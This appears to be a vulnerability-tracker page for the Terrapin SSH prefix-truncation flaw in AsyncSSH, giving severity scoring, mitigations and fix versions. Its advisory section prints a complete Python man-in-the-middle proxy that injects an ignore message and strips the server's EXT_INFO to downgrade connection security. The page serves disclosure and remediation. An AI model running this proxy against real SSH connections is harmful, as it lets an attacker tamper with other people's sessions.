GHSA-hfmc-7525-mj55: AsyncSSH vulnerable to Prefix Truncation Attack (a.k.a. Terrapin Attack) against ChaCha20-Poly1305 and Encrypt-then-MAC
Noroxi assessment
Priority: Monitor (action score 23/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. Special conditions such as timing or configuration are required.
- Fixed version: asyncssh (PyPI) 2.14.2.
Low priority for now. Upgrade to asyncssh (PyPI) 2.14.2 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary AsyncSSH v2.14.1 and earlier is vulnerable to a novel prefix truncation attack (a.k.a. Terrapin attack), which allows a man-in-the-middle attacker to strip an arbitrary number of messages right after the initial key exchange, breaking SSH extension negotiation (RFC8308) in the process and thus downgrading connection security. ### Mitigations To mitigate this protocol vulnerability, OpenSSH suggested a so-called "strict kex" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes. Support for strict key exchange has been added to AsyncSSH in the patched version. **Warning: To take effect, both the client and server must support this countermeasure.** As a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available. ### Details The SSH specifications of ChaCha20-Poly1305 (`chacha20-poly1305@openssh.com`) and Encrypt-then-MAC (`*-etm@openssh.com` MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the first message after SSH_MSG_NEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario. The attack works by an attacker injecting an arbitrary number of SSH_MSG_IGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSH_MSG_IGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange. In the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers. For more details and a pre-print of the associated research paper, see [https://terrapin-attack.com](https://terrapin-attack.com). This website is not affiliated with AsyncSSH in any way. ### PoC <details> <summary>Extension Negotiation Downgrade Attack (chacha20-poly1305@openssh.com)</summary> ```python #!/usr/bin/python3 import socket from binascii import unhexlify from threading import Thread from time import sleep ##################################################################################### ## Proof of Concept for the extension downgrade attack ## ## ## ## Variant: ChaCha20-Poly1305 ## ## ## ## Client(s) tested: OpenSSH 9.5p1 / PuTTY 0.79 ## ## Server(s) tested: OpenSSH 9.5p1 ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 LENGTH_FIELD_LENGTH = 4 def pipe_socket_stream(in_socket, out_socket): try: while True: data = in_socket.recv(4096) if len(data) == 0: break out_socket.send(data) except ConnectionResetError: print("[!] Socket connection has been reset. Closing sockets.") except OSError: print("[!] Sockets closed by another thread. Terminating pipe_socket_stream thread.") in_socket.close() out_socket.close() rogue_msg_ignore = unhexlify('0000000C060200000000000000000000') def perform_attack(client_socket, server_socket): # Version exchange client_vex = client_socket.recv(255) server_vex = server_socket.recv(255) client_socket.send(server_vex) server_socket.send(client_vex) # SSH_MSG_KEXINIT client_kexinit = client_socket.recv(35000) server_kexinit = server_socket.recv(35000) client_socket.send(server_kexinit) server_socket.send(client_kexinit) # Client will now send the key exchange INIT client_kex_init = client_socket.recv(35000) server_socket.send(client_kex_init) # Insert ignore message (to client) client_socket.send(rogue_msg_ignore) # Wait half a second here to avoid missing EXT_INFO # Can be solved by counting bytes as well sleep(0.5) # KEX_REPLY / NEW_KEYS / EXT_INFO server_response = server_socket.recv(35000) # Strip EXT_INFO before forwarding server_response to client # Length fields of KEX_REPLY and NEW_KEYS are still unencrypted server_kex_reply_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[:LENGTH_FIELD_LENGTH]) server_newkeys_start = server_kex_reply_length server_newkeys_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[server_newkeys_start:server_newkeys_start + LENGTH_FIELD_LENGTH]) server_extinfo_start = server_newkeys_start + server_newkeys_length client_socket.send(server_response[:server_extinfo_start]) if __name__ == '__main__': print("--- Proof of Concept for extension downgrade attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new target connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Performing extension downgrade") perform_attack(client_socket, server_socket) print("[+] Downgrade performed. Spawning new forwarding threads to handle client connection from now on.") forward_client_to_server_thread = Thread(target=pipe_socket_stream, args=(client_socket, server_socket), daemon=True) forward_client_to_server_thread.start() forward_server_to_client_thread = Thread(target=pipe_socket_stream, args=(server_socket, client_socket), daemon=True) forward_server_to_client_thread.start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ``` </details> ### Impact This attack targets the specification of ChaCha20-Poly1305 (`chacha20-poly1305@openssh.com`) and Encrypt-then-MAC (`*-etm@openssh.com`), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.
- Published
- Dec 18, 2023
- Updated
- Dec 7, 2024
- EPSS
- —
- CWE
- CWE-345
Report tools
Action score
23
Low priority for now.
- CVSS
- 23 / 40 · 5.9 / 10
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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| Vendor | Product | CPE |
|---|---|---|
| PyPI | asyncssh | pkg:pypi/asyncssh |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| PyPI | asyncssh | before 2.14.2 | 2.14.2 |
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| PyPI:asyncssh | 2.14.2 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- Special conditions such as timing or configuration are required.
If successful
- Confidentiality
- none
- Integrity
- high · data or configuration can be modified
- Availability
- none
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality impact
- None
- Integrity impact
- High
- Availability impact
- None
Weakness class (CWE)
CWE-345 · Insufficient Verification of Data AuthenticityCVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
- JSON Hijacking (aka JavaScript Hijacking)CAPEC-111likelihood: High · High
- Cache PoisoningCAPEC-141likelihood: High · High
- DNS Cache PoisoningCAPEC-142likelihood: High · High
- Content SpoofingCAPEC-148likelihood: Medium · Medium
- Spoofing of UDDI/ebXML MessagesCAPEC-218Medium
- Application API Message Manipulation via Man-in-the-MiddleCAPEC-384Low
- Transaction or Event Tampering via Application API ManipulationCAPEC-385Medium
- Application API Navigation RemappingCAPEC-386Medium
Change log (1)
- Fix✗ → ✓
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References
Show all references (3 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.